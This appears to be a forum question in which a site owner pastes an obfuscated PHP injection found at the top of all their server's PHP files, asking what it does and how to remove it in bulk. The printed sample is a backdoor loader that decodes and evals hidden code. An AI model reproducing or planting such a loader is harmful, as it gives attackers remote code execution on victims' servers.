What exactly does this PHP exploit code - php

Question

This exploit was in the header of all my PHP files on my server...any ideas what it does ?
Do you know how to batch remove it?
<?php
$hngctorffh = 's%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udx5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x57822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjud<*QDU%x5c%x7860MPT7-NB**^#zsfvr#%x5c%x785cq%x5c%x7825)uftt%x5c%x7860{66~6<&w6<%x5c%x75c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x782%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x56]61]y33]68]y34]68]y33]257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81],*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827FSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x78&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%)54l}%x5c%x7827;%x5c%x7825!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]yj%x5c%x7822)gj6<^#Y#%x5%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},56#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf%x782f7^#iubq#%x5c%x785cq%x5c%x7825%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x5c%x78786<C%x5c%x7827&6<*rfstmfV%x5c%x787f<*XAZASV<*w%xz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6dx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%445]43]321]464]284]364]ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P82f},;#-#}+;%x5c%x7825-qp%x5c%x7825uhofm%x5c%x7825:-5ppde:4:|:**#ppde25%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x556]y78]248]y83]256]y81]265]y72]254]y7~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x78c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x7r.985:52985-t.98]K4]65]D8]86]5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x*0f(-!#]y76]277]y72]265]y39]271]y83]2h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd7822#)fepmqyfA>2b%x5c%825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{function 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&& (!72]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#25<#g6R85,67R37,18R#>q%x5c%x78x78257-C)fepmqnjA%x5c%x7827&6<.fmjgy31]278]y3f]51L3]84]y31M6]y3e]81#%xH*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825isset($GLOBALS["%x61%156%x75%156%x61"])))) { ,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x787f_*#ujojRk3%x55c%x7824-%x5c%x7824-!%x5c%x78]281Ld]245]K2]285]Ke]5#%x5c%x782f#%x5c%x7825#%x5c%x782f#olace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6bz+sfwjidsb%x5c%x7860bj+upcotn+qx7825z>2<!%x5c%x7825fmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x78sq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2pV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%87fw6*CW&)7gj6<*doj%x5c%$GLOBALS["%x61%156%x75%156%x61"]=1; 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$gifkmxealv = explode(chr((199 - 155)) , '8313,61,8565,45,9241,37,1894,27,6112,44,8832,69,5398,63,9922,21,4851,40,4927,37,3901,54,4377,32,5822,57,1921,25,4260,69,5718,40,7551,58,5516,42,726,41,9278,20,7417,37,483,64,1072,28,7641,49,3955,48,962,36,0,66,9440,22,286,22,660,66,2121,23,8013,56,7860,65,6242,62,998,36,5662,56,308,36,843,23,9148,69,1175,42,344,27,9217,24,8459,35,6917,21,3258,22,9348,67,8249,64,9784,70,1695,62,8725,21,3116,44,3786,31,2953,52,6740,35,2256,23,5093,21,7985,28,866,54,4189,31,2144,70,1946,64,7609,32,9415,25,8205,44,5334,42,6328,47,6819,44,9854,68,2720,49,8108,50,3848,53,8953,46,4484,66,4964,63,3540,57,2214,42,5879,66,6178,64,6613,21,1833,22,5581,24,7024,35,1794,39,4550,62,608,52,5558,23,7059,62,5027,66,2899,54,8901,32,7796,64,8999,51,5162,46,6060,52,4798,53,6775,44,4777,21,4649,34,1569,56,4329,48,180,63,1625,41,3005,64,7203,37,6462,37,1413,34,767,27,2474,56,6304,24,2530,57,5114,48,1447,34,3446,38,243,43,5461,55,8069,39,9097,51,1855,39,1100,27,3694,69,3160,54,8429,30,6687,53,9530,31,4710,67,5605,57,4034,24,7345,24,9050,47,8797,35,7925,60,7690,55,9561,69,3632,62,3597,35,2010,53,7454,66,1034,38,4683,27,2279,36,2315,36,2691,29,1217,53,5945,52,2091,30,8374,55,4448,36,3280,46,5997,63,7297,48,4157,32,920,42,8746,29,1481,51,7369,48,66,56,416,44,5208,66,3397,49,3326,42,7745,51,9722,62,6938,64,6434,28,2063,28,7121,24,3817,31,794,49,2769,67,9943,44,9630,68,3763,23,6555,58,6863,54,2351,55,8529,36,8158,47,7145,58,9698,24,4220,40,5758,64,4612,37,1666,29,8494,35,4058,43,2836,30,2634,57,3484,32,6499,56,1127,48,8775,22,5376,22,371,45,4003,31,6375,59,1356,57,5274,60,9298,50,1270,23,122,58,9987,66,3368,29,7240,57,4891,36,4409,39,8610,58,9462,68,10053,53,3516,24,6156,22,4128,29,3214,44,7520,31,7002,22,8933,20,1293,63,2866,33,2406,68,8668,57,547,61,3069,47,4101,27,1757,37,1532,37,460,23,2587,47,6634,53');
$jqasilvkah = substr($hngctorffh, (70221 - 60115) , (46 - 39));
if (!function_exists('dkoxpnkcvz'))
{
function dkoxpnkcvz($uquevssmbb, $gbjfyuptqv)
{
$rafkiwpxdo = NULL;
for ($bjfdqjrsbp = 0; $bjfdqjrsbp < (sizeof($uquevssmbb) / 2); $bjfdqjrsbp++)
{
$rafkiwpxdo.= substr($gbjfyuptqv, $uquevssmbb[($bjfdqjrsbp * 2) ], $uquevssmbb[($bjfdqjrsbp * 2) + 1]);
}
return $rafkiwpxdo;
};
}
$jbwtpislvw = "\x20\57\x2a\40\x68\157\x7a\165\x61\154\x68\162\x6a\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x37\55\x39\60\x29\51\x2c\40\x63\150\x72\50\x28\66\x33\60\x2d\65\x33\70\x29\51\x2c\40\x64\153\x6f\170\x70\156\x6b\143\x76\172\x28\44\x67\151\x66\153\x6d\170\x65\141\x6c\166\x2c\44\x68\156\x67\143\x74\157\x72\146\x66\150\x29\51\x29\73\x20\57\x2a\40\x7a\164\x65\144\x70\145\x73\170\x77\147\x20\52\x2f\40";
$clpjwpghsa = substr($hngctorffh, (42911 - 32798) , (54 - 42));
$clpjwpghsa($jqasilvkah, $jbwtpislvw, NULL);
$clpjwpghsa = $jbwtpislvw;
$clpjwpghsa = (471 - 350);
$hngctorffh = $clpjwpghsa - 1;
?>